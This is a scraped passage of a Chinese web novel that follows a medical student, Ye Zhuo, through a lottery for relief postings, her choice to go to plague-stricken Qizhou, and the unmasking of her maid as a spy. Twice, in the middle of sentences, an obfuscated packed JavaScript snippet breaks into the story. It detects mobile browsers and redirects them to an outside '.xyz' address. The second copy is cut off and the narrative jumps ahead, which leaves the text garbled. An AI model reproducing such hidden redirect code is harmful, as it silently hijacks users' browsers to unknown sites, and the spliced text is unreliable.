秦三娘侧过身,腾出块空地,“她们有的擅诗词歌赋,有的擅女工,有的沏茶有的记账。如今在我这儿做工,各自都有了一番事业。就连我也是亦然……可是现在,谁还在乎我们过去做的什么?” 泪水呼之欲出,琴子钦想说些什么,却是无语凝噎。 “即便有,也没什么抬不起头的。”秦三娘搭上她的手,“天底下谁没有对自由身的渴望?不过拘于一时、无力逃脱罢了。” “三娘姐姐说得对。女子之间,本是要相互扶持的。”叶灼挥了挥拳,“这余下赎金,我出一份!” 卫知瑶:“也带我一份!” “你们……”琴子钦哽咽,“我与你们素不相识,初见却承蒙诸位相助,今日之恩,子钦永世难忘!” 众人同将她扶起,相视而笑。 “往后你不再是奴籍,可以安心待在这里。天涯海角,再不会有人来追赶你了。” 如人饮水,冷暖自知,这是琴子钦背井离乡多年来,第一次体会这样的温暖。 “诸位能帮忙,子钦不胜感激。然而无功不受禄,这份恩情,说什么都要还的。” “那便留你在清茗居,为我们多奏几支曲吧!” 琴子钦摇头,似有些无所适从。 “我手里还剩些积蓄,可以暂时抵一部分赎身的银子。至于其它的,我且卖个几年艺,慢慢补上就是。” “你,要走?” 叶灼眨了眨眼,“子钦姐姐,留下来不好么?” 秦三娘忙道:“适才那席话,是我为了试你说出真相,并非真的要赶你。” “我知道。” “那你是为何……?” “犯下这样的错误,又连累这么多人受牵连。”琴子钦背过身去,“子钦自知无颜面对师傅,无颜面对清茗居的姊妹们。倘若留下,岂不为人所耻笑?” “琴姑娘,我们不介意。” “可我介意!况且——”琴子钦顿了顿,沉重道:“况且,我在岐州还有未了之事,过段时日便要离京。” “何事如此紧急,竟要你马上就走?” 琴子钦深吸一口气,“我离开岐州时,本来要带上一位姑娘。她是极乐坊的花魁,亦是我唯一的伙伴。” “那姑娘名叫什么?” “她叫林媚儿。”琴子钦道,“当时她被一位贵客看上,出嫁之日在即。我们本来约定好,等我来京后,与她相互报个平安。可是这段时日……你知道的。岐州消息被封,媚儿生死未卜,我实在担心。” “所以,你想回去找她?” 琴子钦点了点头,骤然想起什么。 未及回头,叶灼挽起她的手,“子钦姐姐,这件事,我可以帮你。” “叶姑娘……” “你好不容易逃出来,漫说岐州官府放行与否,便是去了,也未必能见到她。而我不同,我是太医署学子,又是岐州人氏,有光明正大的理由进出岐州。若得机会返乡,定能第一时间确保她的安危。” “对呀!近来朝廷要派人赴往民间义诊,”秦三娘拍掌道,“这件事让叶姑娘办,的确最为合适不过。” “可是义诊人员都是随机分配,灼妹妹,你如何能决定得了自己去哪儿?” “即便分往岐州的是别人,太医署的人我都认识,也好让他们帮忙带句话啊。” 卫知瑶想了想道:“也是。” “所以子钦姐姐,”叶灼携她起身,轻柔道,“你就安心在此将养一段时日,如何?” 字字如春风化雨,润人心田。 48.入世(八) 两人又帮着做了一些事,离开清茗居时,天已经完全黑下。 傍晚的西市还很是热闹,进了皇城,基本就没什么人了。卫知瑶先将她送回太医署,一路上两人有一句没一句闲扯。说是闲扯,其实只有叶灼在喋喋不休。 说着说着突然想起什么,“对了瑶姐姐,邱山大哥呢?” “这个时辰,他应是领兵值夜去了。” 叶灼若有所思点头,“适才你喊他出去,做些什么?” “也没什么。”卫知瑶停下脚步,“他平时没有吃茶听戏这些消遣,我觉得奇怪,随口问问。” “那他如何答的?” 卫知瑶耸耸肩,淡然一笑,“许是营中待久了,换换性子罢。” “瑶姐姐,你发现没有……”叶灼道,“两年前的盂兰盆节,弹曲儿时他在,今儿半路又杀出个英雄救美。禁军五营轮值守城,照理说是很忙的,可是有子钦姐姐在的地方,总少不了邱山大哥!” 卫知瑶点头微笑:“是啊,怎么了?” 叶灼说便来了劲,“而且,他瞧子钦姐姐那眼神,总好像两人很久前就认识似的。你说他会不会……” 会不会,单恋子钦姐姐啊? 转头“嘎嘣”一声,额间隐隐作痛。 “收起你的八卦之魂吧。琴姑娘可不像认识他的样子。”卫知瑶道,“再者说,邱山他既有意相瞒,我们也不便多问呀。” 呜呜,最近怎么都流行脑瓜崩啊? 叶灼捂着额头,想想也是。谁还没有点少男心事呢?爱美之心人皆有之,何况子钦姐姐那样的女子,菩萨见了都要多怜惜几分。 这一日在外头耽搁得太久,叶灼回到书房,想起功课还没修完。白天闹挺实在累坏了她,刚坐下挑灯夜读,不知不觉枕着书本便睡了过去。 摇签之日,叶灼起了个大早。 棠苎襕衫被洗得香喷喷,穿在身上,散发阳光的味道。 这些年靠着膏火银,虽然添置了不少新衣裳,却没有一套比三载寒窗的学子服来得更珍贵、更有意义。初见之时,介师姐领她登簿,这套衣服穿在自己身上犹且松垮,如今却有些小了。 义诊地点,分别为大容黎、兖、柳、颐、万、颖、岐、凉、青九州,每州分派百余人,由于各州的政策以及近况各不相同,难度高低不一。 摇签地址定于太医署之左的先医庙,历来为祭祀之用。四博士端坐正殿前,皆穿着典礼用的梁冠礼服,远看像是四尊神圣不可侵犯的神像。 两侧坐的是各科助教、医师。他们相互问候、有说有笑。摇签大会决定学子们的去向,为求个好彩头,历来办得极为隆重。来者除了太医署上下官员,还有出资营建的各路东家、各地来的医协长老。 助教行列中,叶灼熟悉的只有三张面孔。 江小姐依旧端着副冰山脸,别人搭话时才客套上几句;介师姐恢复了往日热情,奔忙招呼参会人员。远远看见了她,朝这边挥手打招呼。 叶灼微笑着回应。看来江师兄近来恢复得不错,她也就放心了。 还有一位,是陈登师兄。平时与她少有交集,因为江师兄尚未出殿,由他代理学官一职。 什么端茶倒水、敲钟进馔,看他被使唤来使唤去还乐此不疲的样子,叶灼下巴都惊掉了。难怪江师兄平时总爱偷懒,原来有这么多活要干啊。 桌案上摆着四只签筒,对应四科人数的竹签,旁设有香桌和香炉。学子们列队齐聚广场,无不盼望能抽到个轻松点儿的去处。 吉时已到,沈拓授意:“可以开始了。” 学官敲响钟磬,“为贯彻天子爱民之道,彰我大容普世之医德。现安排诸学子至民间,以行救死扶伤、赈灾慰民诸事。” 然后说:“请叫到名字的学子步入殿内,拈选去向兼随从师长。” “第一位,针科孙十常——” 叶灼排在比较后面的位置,望着学子们一个个上去,明明只是摇签而已,自己何故这么紧张呢? 忽然掌心传来一阵温热,抬头只见卫知瑶握住她的手,投来个安慰的眼神。 叶灼回握,朝她笑了笑。 “第一百零七位,咒禁科卫知瑶——” 那只手默默松开,口型道:我先进去了。 叶灼微微点头。都到瑶姐姐了,什么时候才轮到自己呢? 为这场义诊,她做了太多准备,可面对未知的选项,心里着实有些没底。也不知自己将去往何方,会被分到哪名导师手下?不知何时,才能够再见师父一面? 虽说师父有言在先,自己明知他不会参与此次义诊,仍不免期许着。 期许着那点微不足道,甚至虚无缥缈的“万一”。 如若出发前没能等到师父出子殿,下次见面就得等半年以后了。 想到这又是一阵心焦。 苍天呐!半个月她都熬得够呛,也不知如何挨过这半年? “第二百一十位,医科叶灼——” “叶灼在不在?” “在在在!” 前一名学子出来,叶灼紧跟着迈入主殿。 先医庙足足有两座癸殿那么高,除了每年春、冬仲月例行祭祀,学子极少有机会进去。三座泥塑彩像巍立中央,分别是太吴伏羲氏、炎帝神农氏、黄帝轩辕氏。 正式摇签前,还有跪拜环节。 学子先起三炷香,敬天、敬地、敬祖先。各自拜过一遍后,将香插入铺满香灰的炉中。然后跪于垫上,向博士们行叩拜礼。 简博士和蔼、严博士肃穆,沈博士坐于主位,捋着长胡须慢条斯理,慈祥打量每一位进殿的学子。因为到了致仕年纪,从来只旁观不管事,诸事交由居次座的太医丞料理。此次也不例外。 与以往有所不同的是,四博士里多了张生面孔。听闻姜博士不知为何被革职了,太医丞兼针科博士的位置,由药园师温良顶替。 昨日温太医刚出子殿,今日即上任,可谓是老来高升。那面罩下原是张弥勒佛一样的脸,指着跟前签筒道:“丫头,摇一支吧。” 叶灼心想,比之留撮山羊须的老古董,还是弥勒佛更讨喜些。 她深呼吸一口气,将那支签筒摇了又摇,闭眼祈祷。 未来何去何从,只在此一举——! “啪嗒。” 结果落地。 拾起瞧了眼,莫名有些心灰。 走出大殿的时候,学子们基本上都已经摇完各自的签,正在分享讨论。 卫知瑶扎堆聊着天,叶灼走过来问:“瑶姐姐,瞧你这样高兴,不会是要返乡吧?” 签支正面,红墨标注的是地点,反面跟有随行师长姓名。 果真一语中的,“黎州”二字昭然在目。 “天底下真有这种巧事。”将其翻了个面,更是惊喜,“你还跟介师姐一起啊?” “可不。她馋我们夕山荔枝许久,念叨得紧。此番跟我回长岛郡,嘴都咧到耳根子去了。” 叶灼知道她返乡心切,不由得也替她高兴,边恭喜边戳她腰窝。卫知瑶被她逗弄得咯咯直笑,报复似的戳回去,挠得她举手求饶:“好姐姐,别玩昏了头。你们是去民间义诊,可不是冲休沐去的。” “我自然知道。”卫知瑶道,想起还没问她的去向。 叶灼默默垂下头,递过自己的签。 “青州?不错呀。地方虽偏了一点,可是山美水美,自古有海上名都之美称。怎么一副沮丧的样子?” “也没有啦。只是……” “我知道,你是想回岐州去。可现在那里瘟灾横行,太医们都未必应付得来。这个时候,大家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16304436|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都想往安全的地方去,你就别老和自己较劲了。” “倒不是因为这个。”叶灼心道。 去不了岐州就算了,本想着分到介师姐或者江师兄名下,图个热闹。即使与不苟言笑的江小姐一组,独在异乡,好歹有几分亲切。哪怕是其他师兄师姐,以前多少也有些交集。 可偏偏,怎么分到和陈登师兄一组啊? 自己和他完全不熟,除却数日前问过一次路,对他仅有的印象就是:老实巴交。 想到这不由得长长叹了口气,她也好想和介师姐一块游山玩水啊! “其实陈登师兄也挺好的啦,”卫知瑶拍拍她的肩,“虽然人呆了些、嘴笨了些,可人家办事勤快啊。哪像你那个江师兄,活总塞给师弟师妹干,一点儿不知廉耻。多认识几个人也好,你正得历练,成天围着我们转怎么行。” “呜呜,好吧。” “他奶奶的!”正说着话,耳边传来许昭昭的咆哮。 回头却见他往断裂的竹签“咔咔”踩上几脚,嘴里骂个不停:“太点儿背了,老子怎么能去岐州啊?” 不止他,周围学子亦是怨气冲天。 “那地方如今什么模样,上头的人心中没点数么?!” “哪个王八羔子出的主意,是想害死我们吧!” 叶灼和卫知瑶张望一遭,大抵明白过来怎么回事。 黎、柳、颐、颖、青五州位于容国几大经济重心,景致秀丽且没怎么受灾,相当于公费旅游。抽到这五州的学子大都很高兴,余下就没那么好命了。 尤其去往西北二州的,几乎叫骂声一片。 “诸位学子稍安勿躁,稍安勿躁!” 陈登走出大殿,“岐州原本不在义诊名册之中,想是安排阶段出了差错,现正在商讨解决方案……” “江学官病成那样,百名医工死了个精光。让我们去那不毛之地,岂不是白送性命?” “要真去了,我阿爹阿娘会担心死的!” “若不给个解释,你们今年的资助别想要了!” 学子们齐声抗议拥了上去,陈登还没说句完整的话,没被果皮砸死也快被唾沫星子淹死,抱着头惨兮兮躲回内殿。 望着一片乌泱泱的人潮,叶灼蹙了蹙眉,有些不是滋味。 诚然,这世上谁都怕死。 灾难面前赌上性命,那是傻子才会干的事。 可一想到岐州还有自己的家人、朋友…… 如若没有人站出来,他们又该怎么办呢? 俄顷,严直从殿中走出,将钟鼓蓦地一敲。 “安静!” 河东狮吼般,震得现场鸦雀无声。 “综合灾情险峻等多方面因素考量,经众博士商榷,现将岐州剔除地点名册之外。摇到此签者如非自愿,可至殿内找陈学官调换。” 严博士平时不爱说话,总黑着一张脸,好像谁都欠他钱似的。课上又好罚站打手板,故而大家都十分怕他。这个交代还说得过去,便就着台阶各退一步。 “诸位,可还有异议?” “如若没有,大会便到此——” “严博士!” 目光汇集之处,一只手高举过头顶。沿人群行进,那只小手的主人着急忙慌奔至殿前,递上自己的竹签。 “严博士,我也想换。”叶灼眼巴巴道。 严直毫不客气瞟她一眼,“你都分至青州了,还不知足?” “我的意思是,我愿意去岐州。” “你说啥?”他吓出方言,余下几位博士也纷纷起身。 “丫头,再说一遍?” 她单手紧握胸前,喉头滚动了一下。 发扬蹈厉地,说出了那句在所有人看来不合时宜,甚至无法理解的话。 “我,愿意去岐州。” 49.入世(九) “你说她怕不是疯了吧?” …… “现在这个节骨眼,怎么会有人一头往火坑里栽?” “不知天高地厚,真以为自己是救世主呢。” “以岐州如今的情况,让一个小丫头去,除了多送条命还能做什么?” …… “哎呀严博士,您就让她去吧。反正也找不到人不是?这儿有现成的凑数,指不定呐,她没两天就回来了。” “非疯即傻,非疯即傻。” …… 数不清的言语碎作千百万片,睁眼瞬间,化作乌有。 叶灼从榻上坐起,满身冷汗。 屋外骄阳似火,太阳悬在当空,已过亭午时分。竹签被她攥了整晚,成了块微微发潮的木头。 摊开手,“岐州”二字深嵌其上,醒目依旧。 红墨渗出边缘,像是干掉的人血。她眉心一皱,将签支攥紧。 随意套上外衫,欲往竹苑去。 刚至门前,一道身影扑面而来。就要撞个满怀,被她抵住额头。 “姑娘,您可算醒了!” 晴儿在指力作用下无法行进,像只八爪鱼似地扑着手。 “你打哪儿回来的?也不知会一声,吓死我了。”叶灼松开食指,揉揉胳膊肘。 这丫头总是这样神出鬼没,幸好自己反应快,不然额头上又得多几个大包。她可不想蒙头巾见人了。 “适才我去打水,听膳房刘老厨子说、说……”晴儿一把握住她手臂,“说您要回岐州去,可把我吓坏了!” “居然连膳房厨子都知道了么。”叶灼有气无力笑两声,往外走去。 “可不是嘛,现在谁还往那儿跑?当场我就给他骂了回去,那烂舌根的还不服气,明摆着要咒您……”说至一半,晴儿想想不对,连忙追上来。 “姑娘,您真的要去岐州啊?” “嗯。” 晴儿急了眼:“姑娘啊,您怎么能干这等傻事?那个地方现在——” “哎呀烦死了!怎么连你也变得跟三姑六婆似的?”叶灼转过身,“劝人的话,这两天我听了不下百遍,都要听吐了。你就别白费口舌了,这岐州,我说什么都要去的。” “姑娘若执意去岐州,晴儿也要一起。” “不行。” 她向前几步,泪便洇出眼角:“您不要晴儿了么?” 见她这般攻势,叶灼招架不住,捏捏她的脸:“我的小祖宗,既然知道岐州危险,你又不会行医,要是生病了怎么办?姑娘我都自身难保了,哪儿有功夫顾及你啊。” “既如此,姑娘为何非去不可?”晴儿眨了眨泪汪汪的大眼睛。 叶灼目光垂黯下来。 “这件事,如果我不做,就没有人愿意去做。”她说。 “不是还有朝廷的人么?” “如今岐州消息被封锁,哪怕派再多人过去,远不如亲自前往来得安心。” 但见她腮帮子鼓鼓囊囊,叶灼上手戳了戳。 “好啦,我的好晴儿,乖晴儿。区区半年,一眨眼就过去了。况且你家不是还有姊妹和母亲么?” “姑娘怎会知道?” “我是谁呀,我可是你家姑娘。你都跟了我这么长时间,眼里、心里想的什么,我能不知道?趁这次机会,也好回去看看她们。对了!”叶灼突然敲了下脑袋,自顾自掏起荷包来。 “这是我攒下的一些膏火银,你拿回去好好孝敬你娘,顺便帮我带句慰问的话。嗯……就祝她老人家身体健康吧!” “姑娘,这如何使得!” “哎呀好了,有什么使不得。从前你帮我干那么多活儿,若是连这点银子都不收,我可要愧疚死了。”叶灼说着包住她的手,“我现在有事出门一趟,别再跟着了啊!” “哎,姑娘!” 未等她把话说完,那道背影撒丫子就跑,马尾随风飘飞,消失在走廊拐角。 晴儿低头,望着手中两锭雪花银,竟觉得有千钧之重。 “为什么……”她咬牙,拳头不自觉攥紧。 ——为什么,要对我这么好? “演技不错么,晴姑娘。”熟悉的男声,语调带着几分讥诮。 晴儿手劲松下,余光瞥见石柱后的身影。 默默将银子塞入怀中,转身便走。 左舟抱臂倚在柱后,“鳄鱼的眼泪,总是来得快,去得也快。” “听不懂你在说什么。”晴儿头也不回道。 黑影闪至身前,戴护腕的粗壮小臂拦下她的去路。左舟单手撑墙,上半身微微前倾:“是真不懂,还是装不懂?” 晴儿满眼无辜望着他。被他逼至墙角,无路可退。 “你去向某人通风报信之时,也不见你眨眼啊。”他近乎是以一种威逼的语气,“你到底,想对叶姑娘做什么?” “我想做什么?”晴儿摇头轻笑。 “我不过是个丫鬟,能对主子做得了什么。倒是你,一天到晚闲得慌,躲在背后盯着姑娘家……”说到这鄙夷扫视他一眼,捂紧身子,“我还想问,你想对我做什么呢。” 左舟眼皮闪动几下,愣了愣,红着脸后退:“谁想对你做什么啊!” “你再靠近,我可就喊你非礼了啊!” “你——!”左舟指着她哽噎。伸出的食指被她掰了回去,那只拳头青筋暴起,理应是气到了极致。 晴儿从他身旁绕了过去,勾了勾指头,“有本事你来打我啊。” 她自然知道,他不敢。 没有叶少卿的命令,左舟没有这个胆。 她就喜欢看他这种看不惯她却干不掉她的样子。 回房收拾行囊,听他在屋外无能狂怒,哼着小调,别有一番意趣。 只是不知叶姑娘此去岐州,能撑过几多时日? 若她不能活着回来……提早完成娘娘交代的任务,自己也好打道回府。 晴儿这般想着。不经意间,瞥见珠宝盒里的珠花。 那是叶姑娘送她的雪色珠花…… 心尖突如其来的刺痛,迫使她别过眼。 蓦地,将它扔进纸篓。 “啪嗒。” 桐湖之畔,秋叶点水,波纹曳动。 两道人影映于湖面,棋过三巡,隐于竹林翠柏间。 “这段时日,真是辛苦您了。” 沈拓往木制棋盘落下一子,“我这个老头啊,平生不好别的,就爱与人下下棋、活活脑。上了年纪,玩心仍重。叶少卿千万莫嫌才是。” “沈老过谦了。”叶无声端坐青石台前,神态安然。 “古有苏黄以忘年论交相称,况沈老古稀之年,仍是鹤发童颜、心气未减。论德论智,皆非晚辈所能企及。理应是您不吝赐教,不嫌叶某才疏学浅。” “你这小子,拐弯抹角拍马屁,真当老夫听不出?” “拙言唐突,却为肺腑所感。”叶无声低眉莞尔,“令博士见笑。” 沈拓轻哼一声,“你那好徒儿,若是有你半点圆滑,也不至于成日气老夫。” “阿灼向来心性纯良,性子直率了些,却并非口无遮拦。这么久以来,她的变化您看在眼里,其实心中早就不计前嫌了罢。” “到底是你这个师父有一手。”沈拓自惭道,落子扑吃。 “不过叶少卿,此番远赴岐州,您当真要允她随行?” “有何不可?” “那地方近来不太平,朝廷虽派人支援应灾,情况不容乐观。我担心年轻学子去了,只怕应付不了。” “以阿灼的能力,不会有问题。” 叶无声两指拈子,稍作盘算路数后,不紧不慢落位。 “学子有心历练,实属难得。为便于隐藏行踪,身边之人越少越好,若是其他学子反而不便。留阿灼在身边,一来我比较放心一些。二来让她在我眼皮子底下,远比独自去其它地方来得安全。” 沈拓想想也是,“以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“沈博士,您没事吧!”叶灼忙去扶。 “别!”沈拓一屁股落座,捶着腰道,“老夫还没到那种需要人扶的地步。” 叶灼抿了抿嘴,有些不自在地缩回手,“弟子此行定当尽心竭力,再不会给沈博士,还有师父添麻烦了!” “既然如此诚恳,”沈拓清咳一声,“还干愣着做什么?还不速速回去收行囊。明日卯时就要启程了!” “是!”她开心地转身,骤然想起什么。 拿出袖中竹签,“对了博士,弟子还有一事相问。” 摇签那日,对她想换至岐州这件事,其他三位博士本来严词拒绝。最后是沈博士让她上殿,递来这支签。朝她点的那下头,仿佛已是最大的肯定。 签上刻有随行师长姓名,同她前往岐州的,是一个名叫沈年的人。 “这个沈年,是谁啊?”叶灼挠了挠头,以前从没听过这个名字,“可是其它科的哪位师兄?” 他们沉吟良久,忽然相视而笑,静静看着她。 “你们……怎么不说话呀?”叶灼弱弱道,背后有些发怵。 沈拓捋着长胡须,晃悠两下脑袋,像个隐世仙人似的,只差没有驾鹤而飞。意味深长道:“老夫也姓沈,你猜猜是谁?” 叶灼恍然大悟,深深鞠了个躬。 最后顺着棋盘望去,不舍地瞧了眼叶无声。 “弟子先行告退,不打搅二位尊师大杀四方了!” “慢着。” 叶灼身形一顿,才发觉师父刚刚一直没有说话。 独属于他的嗓音响在耳边,这样地冷冷清清、温润如玉。熟悉中,带着些恍如隔世的生疏。 她突然有点想哭,“怎么了师父?”